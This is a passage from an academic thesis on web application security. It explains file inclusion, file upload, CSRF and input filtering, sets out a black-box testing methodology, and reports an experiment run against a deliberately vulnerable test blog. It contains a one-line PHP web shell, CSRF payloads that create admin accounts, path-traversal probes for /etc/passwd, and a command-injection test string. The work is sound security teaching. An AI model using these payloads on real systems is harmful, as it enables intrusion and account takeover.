
<?php passthru($_GET['cmd']); ?>

Local file inclusion

Sometimes RFI is not possible, as the include function will not accept an arbitrary URL. This can be due to filtering or other restrictions. In this situation the attacker can still try to include files that are locally accessible to the user account in which the Web application executes. One would typically use LFI to retrieve information from the Web server, such as source codes of the application and configuration files, but it can also be used to execute arbitrary code just as RFI [7, 49].

Defense

The best way to defend against filename injection and path traversal is to avoid direct use of any user supplied data. If it is necessary, whitelisting should again be used. Rather than trying to sanitize invalid input, a Web application should stop its execution. It is also a good idea to use code access policies to restrict the file access and restricted environments in whose context a Web application is executed

3.9 File upload

Various Web applications allow users to upload files. Web forums and photo galleries let users upload images. Social networking Web sites may allow uploading pictures and videos. If not implemented securely, the attacker can misuse such feature to run malicious code.

HTML offers an input element with type="file" attribute for submitting files, which is useful when a Web application needs to upload files from users. A typical fragment of code responsible for file upload is shown in listing 3.25.

\[^\text{On Linux for example using command chroot.}\]
3. DETECTION AND PREVENTION OF THE MOST DANGEROUS WEB VULNERABILITIES

Listing 3.25: HTML file upload form.

```html
<form action="upload.php" enctype="multipart/form-data"
method="post">
  File(s): <input type="file" name="datafile"
size="40">
  <input type="submit" value="Upload">
</form>
```

The HTML 4.01 specification defines an attribute `enctype` for the form element that specifies the content type\(^{25}\). The content type is used to encode the form data, which is essentially a set of name/value pairs, when being submitted to the server \([14]\). The HTML specification defines two values for `enctype`:

- **application/x-www-form-urlencoded**
  This is the default content type. It follows the standard URL encoding scheme for `name=value` ampersand separated fields.

- **multipart/form-data**
  This encodes form data so that each form field is presented in a format suitable for that field, and the data set as a whole is a multipart message with those presentations as its components. It should be used with file uploads, as the default encoding is inefficient for large quantities of non-ASCII data.

**Attack vectors**

Misusing a file upload feature is rather straightforward if a Web application stores files somewhere in its Web document root and allows execution of files from this folder. The attacker can simply upload a malicious script, similar to the very simple Web shell from listing 3.24. This script accepts a command to execute via the GET parameter `cmd` and returns the output of such a command in the HTTP response.

The attacker may also try to upload configuration files of an underlying Web server with some dangerous setting, such as allowing execution of normal files with `.txt` extension.

**Detection**

Finding file upload functionality is usually straightforward. The first step is to try submitting malicious code normally. If that does not work, the attacker would typically observe error messages and the mechanism behind it. They can then try to bypass both client-side and server-side filters if present.

**Defense**

A Web application should never permit execution or evaluation of submitted files. It should enforce a file size limit and must store uploaded files outside of the publicly accessible Web

\(^{25}\) Also known as MIME type.
document root. When retrieving contents of the uploaded file, one needs to be careful especially concerning file injection errors (3.8). The filename and folder name under which files are stored should be randomized. The information about randomized names and original names can be stored in a database.

### 3.10 Cross Site Request Forgery

Cross Site Request Forgery (CSRF), also known as Session Riding [41] is an attack technique exploiting implicit authentication. The attack forces the victim’s browser to create hidden HTTP GET or POST requests to a Web application, that trusts all the requests coming from the browser of once authenticated victim [35].

In a way it is similar to the session hijacking attacks via XSS, where the session token is captured and used to pretend to be a given user. With CSRF, on the other hand, the attacker does not need the session token itself. While XSS exploits the user’s trust to a Web application integrity, CSRF exploits the Web application trust to the user’s browser. If the user is logged in a Web application and opens a new tab in a browser or a new window of the same browser, the browser still sends all the cookies including the session token with each request to the given Web application. If the user visits a different Web site in the new tab/window, that Web site could contain malicious HTML/JavaScript code to send a custom GET/POST request to the original Web application on the behalf of the user without any interaction.

Request can be forged using HTML tags that force a browser to issue a request in order to be rendered properly. Tags, such as `IMG` or `IFRAME`, have an attribute, `src`, that specifies the URL from which the browser will try to retrieve given resource. Scripting, for example, with JavaScript is also possible. Requests are then randomly crafted. With JavaScript one can also manually create the HTML tags. It is useful to allow off-site requests, despite the same-origin policy [13]. There are other possibilities as well, such as misusing redirection [33, 41].

#### Forging GET requests

Generating custom GET request is straightforward. Consider an example of a message board system, that is protected against XSS vulnerability. The user can assign an icon representing the importance of the currently posted message. Lets say that the message has an importance rating "urgent". The following fragment of HTML code would then be generated:

```html
Listing 3.26: HTML fragment of a generated message vulnerable to CSRF.

```<div class="message_item">
  <div class="message_importance_img">
    <img src="/images/icons/urgent.png" />
  </div>
  <div class="message_title">Administrators beware!</div>
</div>
```
3. DETECTION AND PREVENTION OF THE MOST DANGEROUS WEB VULNERABILITIES

If the message board system builds the source of the image as a concatenation of the icon base directory with the supplied string request forgery can happen. It can happen even if the whole string is encoded to prevent XSS and escaping the string boundaries:

Listing 3.27: Customized icon string resulting in CSRF vulnerability exploitation.

```
../../admin/addUser.php?username=hacked&password=easily&role=admin#
```

When the administrator or a user with the privilege to add new users logs in and lists the added messages, the src attribute of the IMG tag forces the browser to send a GET request. That request adds a new user to the application with administrator privileges. The hash symbol (#) at the very end denotes a fragment on the page that is not sent with the request and removes the .png extension. The parameter separator symbol (?) could be used instead as it has a similar effect. It is also possible to make it simpler by just providing an image with the src attribute set to the full URL. It makes the victim simply visit the page while being logged in and then adds a new user.

Forging POST requests

It is possible to forge the HTTP POST request by using any of the above mentioned techniques. It can be done directly via a browser plugin or JavaScript or indirectly by converting a GET request into a POST request. Lets assume for example 3.27 that only a POST request can be issued to add a new user. Since the example does not allow for simple insertion of an arbitrary URL, one needs to find another means of forcing the browser to convert the GET request into a POST request. For example, message boards may allow one to upload various attachments and if these are stored somewhere in a Web root folder the attacker can upload a simple HTML file. It can be one such as the listing 3.28, which contains a prefilled invisible form submitted automatically via JavaScript. Then one alters the icon string from listing 3.27 to contain the URL of the uploaded HTML file.

Sometimes the Web application does not distinguish between GET and POST requests or even cookies at all and it is possible to put the parameter anywhere.

Listing 3.28: HTML/JavaScript GET to POST conversion.

```
<html>
<form method="POST" action="/admin/addUser.php">
  <input type="HIDDEN" name="username" value="pwned" />
  <input type="HIDDEN" name="password" value="easy" />
  <input type="HIDDEN" name="role" value="admin" />
  <input type="SUBMIT" value="Submit" style="display:none" />
</form>
<script>
  document.forms[0].submit();
</script>
```
Cross Site Request Forgery

Detection

If a Web application performs site functionality using a GET or POST request, that can be fully determined in advance then it is vulnerable.

Defense

GET requests should not be used to perform actions with persistent side-effects. These should be performed by a POST method [3]. A Web application needs to make sure that the request came from the site itself. Simply checking the HTTP Referer header is not sufficient, as it can easily be forged or filtered26.

Currently, the most effective countermeasure against CSRF is to send an additional piece of information in each HTTP request to validate that the request comes from an authorized source [21]. The additional information could be log in information that has to be repeated with every sensitive request. Another, more user-friendly approach is to include a “validation token” with every request. It should be difficult to guess or use brute force on. If the request does not contain a valid token, it is then rejected. Validation tokens should also be implemented during login to prevent login CSRF. A Web application must create a "pre-session", implementing a validation token and then only creating a real session after a successful login. The restricted area should be accessible only with HTTPS.

The validation token itself can be implemented in various ways. The following are some common approaches. The first one is to use a randomly generated unique token to every request. Once the token is used it is invalidated. The drawback of this method is that it is complicated to implement and forces the Web application to remember a potentially large number of valid tokens. The second option is to use session identifier as the validation token. If the Web application is vulnerable to XSS, the token may be stolen, but then the attacker can hijack the session anyway. XSS vulnerabilities must be eliminated as well. An example of a session-based validation token is in listing 3.29.

26 Some browsers will not include this information when in "private" mode, some proxies filter these headers out as well.
3. Detection and Prevention of the Most Dangerous Web Vulnerabilities

Listing 3.29: Example of CSRF protection in PHP.

```php
<?php

session_start();
// define token name
define("TOKEN", "validation_token");

// generate hidden field including validation token
function form_session_validation_token() {
    return '<input type="hidden" name="'. TOKEN .'" value="'. session_id() .'" />';
}

// if the form was posted, check the token validity
if (isset($_POST) && $_POST[TOKEN] == session_id()) {
    // check if the currently logged in user is authorized to perform current operation
    echo 'User added.';
}
?>

<html>
<form method="POST" action="/admin/addUser.php">
    <input type="INPUT" name="username" value="" />
    <input type="INPUT" name="password" value="" />
    <select>
        <option value="admin">Admin</option>
        <option value="guest">Guest</option>
    </select>
    <input type="SUBMIT" value="Submit" />
</form>
</html>

3.11 Data sanitization and filtering

Many Web applications can be exploited because the user input is being processed in an unsafe manner. All the data provided by a user must be treated as untrustworthy. One of the
key requirements for a Web application’s security is the proper user input handling, which is not always an easy task.

**Data validation**

Data validation is the process of inspecting data to ensure it follows the allowed data form, as defined by the application. It can be as simple as typing the parameter strictly, using regular expressions or some kind of logic. Output validation is often omitted. It is important in order to prevent indirect SQL injection or XSS like attacks. There are basically two different approaches:

- **Whitelisting** technique only accepts data that is known to be good ("white lists"). It can be a selection from a predefined set of values or special characters, or checking the compliance with the expected data type, length/size, numeric range or specific format standards. It is the preferred validation method, but cannot always be used.

- **Blacklisting** technique only rejects data that is known to be bad ("black lists"). It is often rejection of a predefined set of values or characters, strings or patterns (such `, `\<`, `\>`, `%`, `#`, `-`, `=` etc.). It is a lot weaker method, since the list of potentially bad characters is very large and it is difficult to keep up to date.

In general, blacklisting should not be used in isolation. Whitelisting should be used whenever possible. If whitelisting is not an option, one should use blacklisting along with output validation (encoding).

**Sanitization and filtering**

Whitelisting is not the answer to all the problems. Consider an application that needs to work with names that contain hyphens, or quotes. These are commonly used for SQL injection attacks. In such case, it is necessary to accept potentially dangerous data instead of rejecting it. The application then needs to properly alter the data. Altering effectively means removing or "escaping" dangerous characters. An escape character is a character with a special meaning to the interpreter. It tells one that the following character does not have its standard meaning in the given context; forcing an alternative interpretation. A Web application should also check the submitted data semantically. For example, if the phone number is modified and submitted, the Web application could check that the phone number respects dialing rules of a given country the user is from, so if there is an automatic call service, it would not dial expensive numbers in exotic countries.

One common problem with Web applications is that they try to sanitize all the data during the input phase and then treat them as safe. The data, however, may be passed from one component to another, while each of them can be vulnerable to a different kind of attack and thus needs different sanitization. Each component should implement its own sanitization specifically for the vulnerabilities that it may be susceptible to. For example, the component responsible for login should check for SQL injection, XSS, CSRF and other relevant vulnerabilities.
Filters trying to remove or sanitize potentially dangerous characters from the data can sometimes be bypassed. For example, some filters on an improper input show a helpful error message to the attacker to perform some sanitization or truncate the input. The attacker can then craft the input so that it passes all these checks and yet can still perform an attack.

Filtering can be implemented in the Web application itself. Unfortunately, it is sometimes not practical or possible. For example, if there is a bug found in a third party component whose source code is not available. A Web Application Firewall (WAF) can be an intermediate layer between the user and the Web application. One example of a popular solution for Apache server is ModSecurity 27. WAF monitors HTTP traffic and tries to block malicious attacks using blacklisting or whitelisting. These filters are not the definitive answer to security issues for all applications due to the lack of knowledge of functionality of underlying components of the given application. It can, however, slow down and maybe even repulse the attacker and prevent automatized attacks.

There are several techniques attackers will use to try to bypass filters. Some filters match specific string, eg.  &lt;script&gt; or select, or provide a regular expression that is not exhaustive enough. This can typically be bypassed. Sometimes the input can be mixed with characters that are allowed in the relaxed syntax of particular technology, although are not common, leading to correct or semi-correct parsing that is sufficient for the attack. Various forms of encoding can also be used. The variety of techniques is too extensive to discuss properly in this thesis. For more information see [29, 23, 27, 32, 20, 43, 25, 39, 22, 26, 34].

27 http://www.modsecurity.org/
Chapter 4

Methodology

The previous chapters introduced elementary security issues that threaten today’s Web applications the most dangerous ones. They discussed and outlined how they can be detected. This chapter summarizes the detection of vulnerabilities into a methodical and structured approach that, when followed appropriately, should lead to the discovery of vulnerabilities from the Certified Secure Basic Web Application Scan Checklist. The methodology was refined through literature survey and consultation with professional Web penetration testers.

Both the methodology and experimental study in the following chapter focus on a common case, where the Web application is implemented using one platform generating HTML Web pages and optionally JavaScript. It resides on a single Web server with no load-balancing in place and uses a single RDBMS as the persistence layer. The methodology, however, is generic enough to easily be extended to other cases.

4.1 General guidelines

The methodology starts with an analysis of the application, gathering information that will be useful in later stages. Then various vulnerability classes are assessed. When parameters are mentioned they are understood to mean any GET and POST parameters, including cookies and other HTTP headers. One should take care to properly encode the input. Information gathered in each step may be useful in previous steps or make additional steps easier. Black-box testing is a lot about observing an application’s behavior. In the case of Web applications this often means inputting specially crafted strings and monitoring the application’s response for anomalies, such as error messages or logical errors in behavior. An error message does not necessarily mean that the vulnerability is present. Sometimes the application is in a particular state that affects future responses, so it may be necessary to return to the initial state in order to detect a vulnerability. Typically this is done by refreshing the session and following particular steps from the beginning. When the Web application performs filtering/sanitization of some kind, it may still be possible to break and bypass.

According to Certified Secure.

See appendix A
4. METHODOLOGY

Techniques briefly mentioned and referenced in section 3.11 can then be used to bypass broken filters (especially black listing filters tend to be easily broken). Many of the steps can be made easier or even automated via scripts or other tooling support, such as the one contained in the Burp suite. It is definitely recommended to keep separate notes, noting any suspicious behavior and detected vulnerabilities.

4.2 Analysis

This step is fully recursive, whenever new resources are discovered via any technique, the previous techniques that are relevant should be repeated. Discovery and exploitation of some vulnerabilities can speed up the black-box evaluation. For example path traversal may lead to the revelation of source codes that can be the subject of a source code audit rather than a black-box test. It can also be used to identify other hidden information about the application.

Crawling

- Manually browse the application, both restricted and non-restricted content, observing behavior. Publicly accessible content should be safe for automated crawling (only GET requests, POST may be dangerous). The restricted content should be crawled manually in order not to trigger dangerous functionality.
  - While browsing the application, let the intercepting proxy intercept requests and responses for later analysis.
  - Browse with JavaScript on/off.
  - Browse with Cookies on/off.
  - Identify restricted content.
- Observe the application behavior.
  - Note how the navigation is performed. Notice whether it is parameter driven, what is the purpose of the redirecting and how it is used and what the structure of requests are.
  - Note if the the format of the URL is standard and how value/name pairs are separated.
- Identify the application's purpose and behavior.
  - Identify the core functionality of the application and its intended use.
  - Identify the security mechanisms employed by the application and how they work.
    * Authentication.
    * Session management.
    * Access control.
Analysis

* User registration.
* Account recovery.

– Identify other potentially vulnerable functionality and which vulnerabilities could be a threat.
* Redirection.
* Logging functions.

– Capture responses and error messages for both correct and incorrect input.

Used technologies

• Detect the server side technologies in use, such as the platforms used to developed the Web application, the Web server, the operating system, RDBMS and other 3rd party software.

  – Inspect headers from retrieved responses, such as Server and X-Powered-By.
  – Inspect error messages.
  – Inspect comments in retrieved files.
  – Inspect extensions used in the URL (eg. .php typically means PHP is in use).
  – Inspect the cookie session parameters (eg. PHP typically uses $SESSIONID).
  – Run Htprint against the Web server and inspect the results to determine the Web server.

• Detect client side technologies.

  – Inspect the source code of retrieved HTML pages for scripts.
  – Inspect forms and cookies.

Hidden content

• Note response, for both valid and invalid resources, in order to be able to identify hidden content.

• Try to retrieve additional source of information about the Web application.

  – Inferring scripts name (eg. if addUser.php is present, try testing for the existence of editUser.php etc.).
  – Comments in all HTML pages.
  – Common directories and applications used in Web enumeration (robots.txt, etc.).

• Find and figure out the purpose of hidden form parameters.

• Review all client-side content.

  – Understand what purpose the client-side controls serve.
  – Reveal any generated links for further examination.
4. Methodology

Data entry points

- Identify all input points for user input.
- Identify all parameters for given paths in GET requests/links.
- Identify all possible POST requests (forms).
- Identify cookie values.
- Try to understand the meaning of all parameters and their respective values. Tampering these values is the basis for many of the discussed attacks.

4.3 Authentication and authorization (access control)

The analysis should provide one with information on where to find the most likely vulnerabilities from the Certified Secure Basic Web Application Scan Checklist.

Check for client side authentication

- Common attack points: log in functionality and scripts.
- Test data transmitted via the client side components.
  - Locate all points in the application where client side components (hidden form fields, cookies, GET and POST parameters) are being used to transmit data.
  - Determine the purpose of each client side component in the application’s logic.
  - Observe the communication between the browser and the server.
  - Modify the values of the observed data items so it is relevant to the application logic. See if the arbitrary data are processed by the application and if such processing could be exploited to interfere with authentication logic.
- Test user input restrictions.
  - Identify cases where client side controls are used for input data validation before submitting to the server (eg. JavaScript filtering, form input length limits).
  - Test each input by submitting data that violate client side controls restrictions.
  - Exclude each input parameter altogether and note the response, especially if it is unusual.
  - Test one parameter at a time while providing correct values for the remaining parameters.
  - Include disabled elements within the HTML form in the testing.
Check for default and predictable accounts

- **Common attack points**: every location where credentials are submitted (login, registration, password change, account recovery, logout) and every functionality where the username plays some role.

- **Username enumeration.**
  - For each attack point submit 2 requests, the first request with a valid and the second with an invalid username. Identify every detail of the server’s response, including HTTP status code, redirection, information displayed on the screen, HTML source and the time needed for response. The differences may be very subtle (e.g. a slightly different error message with an extra space added).
  - If any difference is spotted repeat the test with different username pairs for confirmation of a systematic difference to rely upon during username enumeration.
  - Check the application to find information leakage in order to compile a list of valid usernames (registered users listings, email addresses etc.).
  - Enumerate the most common administrator usernames.

- **Password enumeration.**
  - For each attack point submit a valid username and invalid other credentials and monitor the application’s responses for any differences. If after several submissions the application has not returned any information about a lockout policy, submit valid user credentials. If the login succeeds, the account user policy is likely not enforced and thus brute forcing user credentials may effectively be applied.
  - Try to log in using a blank password, a password that is the same as the username and dictionary passwords. Customize them to the password quality restrictions if present.
  - Enumerate passwords using the breadth first search rather that depth first search (test most common weak passwords with all usernames first rather than thoroughly testing just one username).

- If the application auto-generates user credentials, determine if the credentials are easily inferable.

Check for identifier based authorization (access control)

- **Common attack points**: every sensitive functionality/data access.

- Understand the requirements for access control.\(^4\)

---

\(^3\)Both Burp suite and WebScarab have functionality to simplify such process.

\(^4\)Access control matrix recreation may be useful.
4. METHODOLOGY

- Vertical access control - different levels of users have access to different functionality.
- Horizontal access control - users of the same level having access to different subset of data.

- Enumerate as much functionality as possible using the highest privilege accounts.
- Enumerate functionality accessible by lower privilege accounts.
- Try to access functionality that is unaccessible to a given level of user but accessible to a higher level of user by submitting the same request as higher privileged user would. See if the request is successful.

4.4 User input

Check for filename injection / path traversal

- **Common attack points**: when the input parameter is used to include different kinds of files (eg. graphic files, templates, static texts), parameters with file names and usual file extensions.
- Alter each parameter with the dot-dot-slash sequence in order to detect any anomalies in the output.
  - The parameter should be probed with input similar to:
    
    existing_file.ext
    ./existing_file.ext
    ./existing_file.ext
    /blah/../existing_file.ext
    ..\blah\..\..\..\..\..\..\existing_file.ext
    ..\.\.\.\.\existing_file.ext
    ../../../../existing_file.ext
  - In *nix environment /etc/passwd is commonly present and on Windows environment boot.ini is commonly present.

Check for SQL injection

- **Common attack points**: every parameter that might be involved in RDBMS operation.
- Use the SQL injection test strings from table 3.1 for each parameter that could be potentially vulnerable. Observe the application’s behavior and error messages. Modify each injection string according to the context of the operation. If an SQL error appears, the application is probably vulnerable.

---

5 Apart from the authentication information such as a session identifier.
6 The access to a resource is typically done via an identifier.
7 Since Windows Vista boot.ini is not present by default.
• If the type of injection is string SQL injection and the single quotation character causes an error, try to insert double quotation marks. If the error disappears, the application is probably vulnerable.

• If the type of injection is numeric SQL injection try performing mathematical operations to obtain the same number from different numbers (eg. if the parameter’s value is 5, submit 2+3 instead; be careful that the character + has the meaning of a space separator, it has to be URL encoded). If the operation produces the same result, the application is probably vulnerable.

• If the result of the database query is not directly visible, use delaying techniques to search for SQL injection.

• To confirm SQL injection vulnerability use an SQL specific command/operation.

Check for cross site scripting

• **Common attack points:** when a value from an input parameter is rendered directly or indirectly to an HTML page (eg. search functions, posting comments).

• In order to identify the input in the output, supply a unique string that is not likely to be filtered by the application and search the application for its occurrence.

• For each occurrence of the input parameter review the surrounding HTML/JavaScript to craft a possible script input.
  
  – If the injection is in the HTML, the standard approach is to insert `<script>` or the following characters: ", <, > and \ to determine if these are filtered. The most common test string is `<script>alert(1)</script>` which should be modified according to the context. Another common option is to insert JavaScript into an event handler such as `onmouseover` or `onerror`.
  
  – If the injection is in JavaScript, the standard approach is to modify the resulting JavaScript code so it performs a JavaScript action.

• If cross site scripting is possible via a POST request only, determine if changing the request to GET has the same results.

Check for system command injection

• **Common attack points:** when the application seems to use an underlying operating system functionality based around the input parameter.

• For each parameter inject a delaying command surrounded by proper metacharacters according to the assumed context and determine if there is a delay in the response.
  
  – Universal command that typically works on both Windows and *nix machines is `ping -c 30 127.0.0.1 ; b || ping -n 30 127.0.0.1`. 
4. **Methodology**

- Commonly used escaping metacharacters include: |, ||, &, &&, ;, \%0a\^ and \\

- If the delay is present, confirm the possibility of system command injection by inserting an additional command.

  - If the output of the operating system command is directly used to render the resulting HTML page use commands for directory listing (dir, ls).

  - If the output of the operating system command is not directly used to render the resulting HTML page use out-of-band communication techniques (eg. output redirection via >).

### 4.5 File upload

- **Common attack points:** file uploading functionality.

- Submit a file containing code. If there is a restriction on what type of files can be uploaded, try to bypass it.

- Determine if the file was submitted successfully and try to enforce code execution to confirm vulnerability. Typically it is necessary to figure out where the script was stored on the remote Web server and then issue an HTTP request to access it (eg. by visiting an appropriate URL with the Web browser).

### 4.6 Sessions

**Check for Cross Site Request Forgery**

- **Common attack points:** key functionality responsible for sensitive operations.

- Check if the application relies only upon cookies as its session tokens transferring mechanism. This is a prerequisite for CSRF.

- Review if the parameters in place for sensitive operations can be fully determined in advance (no unpredictable data, session tokens or any other hard to determine information), another prerequisite for CSRF.

- Create an HTML page that submits a particular request when visited to confirm CSRF vulnerability.

^ Newline character on ^nix platforms.
The methodology evaluation is motivated by the need to understand the difference in performance between groups of software developers who use the methodology and those who do not use it. In order to be able to evaluate it in a real world context, comparison is also done with automatic Web vulnerability scanners (Web scanners from now on) and professional penetration testers.

The evaluation of the methodology belongs under quantitative research paradigm of empirical study. Quantitative research is "mainly concerned with quantifying a relationship or to compare two or more groups. The aim is to identify a cause-effect relationship" [48]. The most suitable empirical strategy to evaluate suggested methodology is an experiment. The experiment was performed according to [48]. The focus was on the items from the Basic Web scan checklist from appendix A. Item 5 from the checklist is left out, as that section is meant for any other problem a penetration tester might discover. That can be very many things and it is dependent upon a specific application.

5.1 Goal definition

- **Object of study.** The object studied is the black-box Web application penetration testing methodology.

- **Purpose.** The main purpose is to evaluate the methodology to understand how much it improves vulnerabilities detection by software developers. The secondary purpose is to evaluate how much better or worse are software developers with respect to the methodology in comparison to the Web scanners and professional penetration testers.

- **Perspective** The perspective is from the software developer’s point of view to find out if there is any systematic difference in the ability of software developers to detect Web vulnerabilities when the methodology is applied.

- **Quality focus.** The main effect studied in the experiment is the ability to detect the most severe Web application vulnerabilities. The list of such vulnerabilities is provided by the Basic Web application scan checklist A. The focus is on effectiveness.
5. EVALUATION

(detected number of vulnerabilities from a given checklist group / number of vulnerabilities from a given checklist group).

- **Context.** The experiment is performed off-line. The subjects are students having or pursuing MSc or PhD degree with various working experience related to computer science and professional penetration testers. In addition Web scanners are used as baseline for comparison. The study is conducted as a multi-test within object study. The subjects are volunteers. The experiment is fully controlled.

**Research statement and hypothesis formulation**

- **RQ1:** How much better or worse can software developers discover vulnerabilities when using the methodology in comparison to the professional penetration testers?
  
  – Hypothesis: Professional penetration testers are able to find all or most of the vulnerabilities. Software developers when using the methodology can find as many vulnerabilities as professional penetration testers.

- **RQ2:** How much better or worse can software developers discover new vulnerabilities having the structured methodology compared to software developers testing the Web application just with common knowledge?
  
  – Hypothesis: Software developers discover more vulnerabilities when using the methodology. Without the methodology the software developers will not discover any vulnerabilities.

- **RQ3:** How well do software developers when (not) using the methodology perform compared to the performance of Web scanners?
  
  – Hypothesis: Software developers that use the methodology are able to find more vulnerabilities than Web scanners. Scanners will find more vulnerabilities than software developers not using the methodology.

**5.2 Planning and experiment design**

First the test application "FunBlog" was created. The FunBlog vulnerabilities are based on real vulnerabilities spotted in other Web applications. The vulnerabilities incorporated into the application are listed in table 5.1. FunBlog, depicted at Figure 5.1 was built by extending and modifying the popular content management system Wordpress\(^1\) using a LAMP platform - Linux, PHP, MySQL and Apache combination. It is a typical Web application, implemented using one platform (PHP language) generating HTML Web pages and JavaScript, residing on a single Web server (Apache) with no load-balancing and using a single RDBMS as the persistence layer (MySQL database).

\(^1\)http://wordpress.org/
Table 5.1: FunBlog vulnerabilities summary.

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Broken authorization</td>
<td>1</td>
</tr>
<tr>
<td>Broken access control</td>
<td>2</td>
</tr>
<tr>
<td>Path traversal</td>
<td>4</td>
</tr>
<tr>
<td>File inclusion</td>
<td>2</td>
</tr>
<tr>
<td>SQL injection</td>
<td>7</td>
</tr>
<tr>
<td>Cross-site scripting</td>
<td>6</td>
</tr>
<tr>
<td>Broken file upload</td>
<td>1</td>
</tr>
<tr>
<td>Cross-site request forgery</td>
<td>2</td>
</tr>
</tbody>
</table>

The effectiveness of vulnerabilities detection was compared with outcomes of Web scanners and professional penetration testers checking the same Web application. The effectiveness is measured as a sum of points. The subject received points for each vulnerability in the tested application according to the table 5.2.
Table 5.2: Effectiveness measurement.

<table>
<thead>
<tr>
<th>Problem detected</th>
<th>1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vulnerability detected</td>
<td>2</td>
</tr>
</tbody>
</table>

Detection of a problem means some unusual behavior that the subject detects correctly, but is unable to reason about which potential security issue it could bring. The vulnerability is detected when the subject is correctly able to reason about the threat. Effectiveness is measured as a sum of all these points. Since counting is used, the scale type used for the measurement is an absolute scale.

The subjects were chosen based on convenience. Subjects have various background and experience. The background and experience of the individuals was found through a survey. More details about the survey can be found in appendix B.

5.3 Operation

Preparation

The subjects did not known in advance what was going to be studied and they were not aware of the actual hypothesis. The Web scanners were set to their default configuration before running the test. The scanners are listed in table 5.3.

Table 5.3: Web scanners - introduction

<table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Wapiti</td>
<td>2.2.1</td>
<td>Open-Source</td>
</tr>
<tr>
<td>Websecurify</td>
<td>0.8</td>
<td>Open-Source</td>
</tr>
<tr>
<td>Netsparker</td>
<td>1.9.0.5</td>
<td>Commercial</td>
</tr>
<tr>
<td>w3af</td>
<td>1.1 rev 4287</td>
<td>Open-Source</td>
</tr>
<tr>
<td>Zap</td>
<td>1.2.0</td>
<td>Open-Source</td>
</tr>
</tbody>
</table>

The guidelines were simply asking the subjects to detect as many security issues in FunBlog as possible. They were informed that it would be an experiment about black-box penetration testing. First they were given an URL with FunBlog and instructed to try to identify as many security related issues as possible. All subjects were asked not to communicate between each other about the experiment until after the experiment was done. Each subject was interacting only with his own virtual machine with FunBlog. The virtual machines were exactly the same clone. Use of Web scanners was forbidden.
Based on the data from the initial survey from appendix C, the subjects were divided into two balanced groups, 4 subjects each. The subjects that had no prior knowledge of Web application development or software development in general were excluded from the experiment. One group was given the methodology (chapters 2 - 4) and the other was not. The Figure 5.2 shows the selection of the subjects into the groups. The main selecting factor was the subject’s experience with Web application development, while the aim was to have 2 equal groups. The group that did not use the methodology had 2 subjects that already had rather strong experience with penetration testing, compared to only 1 subject with similar experience in the group with the methodology.

The group that was using the methodology was recommended to use a software from table 5.4, that helps with various aspects of the methodology.

Since the experiment studies software developers point of view, error reporting was turned on. In that case it is easier to spot problems.

### Execution

Each subject had a separate identical virtual server with FunBlog. Data was collected from 2 professional penetration testers, 4 subjects not using the methodology, 4 subjects using the methodology and 5 automatic Web vulnerability scanners. After the experiment, the tested subjects filled in the final survey shown in appendix D.
Table 5.4: Recommended software to use when performing the methodology.

<table>
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web browser</td>
<td>Mozilla Firefox</td>
<td>Exploring Web application functionality.</td>
</tr>
<tr>
<td>Firefox plugin</td>
<td>Web Developer</td>
<td>Exploring HTML/JavaScript.</td>
</tr>
<tr>
<td>Firefox plugin</td>
<td>Firebug</td>
<td>JavaScript debugger.</td>
</tr>
<tr>
<td>Firefox plugin</td>
<td>NoScript</td>
<td>Selective JavaScript disabling/enabling.</td>
</tr>
<tr>
<td>Firefox plugin</td>
<td>QuickProxy</td>
<td>Routing the traffic through intercepting proxy.</td>
</tr>
<tr>
<td>Intercepting proxy</td>
<td>Burp Suite</td>
<td>Observing and tampering with HTTP communication.</td>
</tr>
<tr>
<td>Fingerprinting software</td>
<td>Httprint</td>
<td>Web server fingerprinting.</td>
</tr>
</tbody>
</table>

5.4 Analysis and interpretation

The effectiveness achieved by professional penetration testers is depicted in Figure 5.3. Figure 5.3 uses stacked columns to show the total number of achieved points and how many points were achieved for each vulnerability class. The Maximum at the right hand side indicates the maximum achievable points when all vulnerabilities are detected. Web vulnerability scanners, run against FunBlog on their default configuration, achieved results in Figure 5.4. The effectiveness achieved by the subjects from group without the methodology is shown in Figure 5.5. The effectiveness of subjects from the group with the methodology is presented in Figure 5.6. Web scanners and subjects without the methodology sometimes wrongly identified vulnerabilities. These so called false positives were ignored in order to compare only the real findings. Subjects with the methodology and professional penetration testers did not generate false positives. This hints that the methodology is also good for false positives elimination.

Professional penetration testers achieved the highest scores, but not even they were able to detect all the vulnerabilities. Both professional testers had only a limited amount of time they spent testing the Web application. According to their report, it would take 8-16 hours to properly test FunBlog, but they could only devote 2-3 hours to it. It is very likely they would discover the rest of the vulnerabilities if they could devote the time they needed for the proper testing.

Web vulnerability scanners perform in general well against SQL injection and also against XSS. But they almost have not detected any other vulnerabilities. The low performance on discovering the remaining SQL injections and XSS vulnerabilities could be that the crawling engine of some Web scanners did not collect all the locations to test. Also they maybe do not contain sufficient detecting mechanisms for particular vulnerabilities. The best of the tested scanners is the commercial Netsparker, which clearly outperformed
As for the subjects without the methodology, they were in some cases able to achieve higher or almost equal effectiveness than some Web scanners. When the subjects knew the methodology, they were able to outperform both Web scanners and subjects without the methodology, almost achieving the level of professional penetration testers. However, the subjects with the methodology needed 3-4 times more time than professional penetration testers. On the other hand, for the majority it was the first time testing the Web application for security issues. And just like professional penetration testers, subjects with the methodology reported in the final survey that they did not have time to properly test the whole FunBlog.
In Figure 5.7 the average cases from each group are presented based on arithmetic mean. The Web scanners achieved lower score than subjects without the methodology. Both these groups were outperformed by subjects with the methodology and professional penetration testers. Professional penetration testers achieved the best results, but subjects with the methodology got close.

Figure 5.8 shows standard deviation of the scores achieved within each group. As one can see, subjects with the methodology and professional penetration testers achieved quite stable results. Especially SQL injection detection varied quite a lot when tested by Web scanners and by subjects without the methodology.

In the real black-box penetration test, very important is also coverage, not just the number of vulnerabilities found. Generally speaking, if the penetration tester discovers a vulnerability, there is a suspicion that it is a bad coding habit, or incorrect software design pattern.
that reappears throughout the code. Thus similar vulnerabilities may be present elsewhere. The penetration tester would in that case recommend to recheck and refactor the important
5. Evaluation

parts of the application. Thus coverage is a very important measure. It is important to this particular experiment also because both professional penetration testers and subjects with the methodology could not devote all the time they needed to fully test FunBlog, as reported in the final survey.

For the purpose of this experiment, the coverage is defined by the following function:

\[
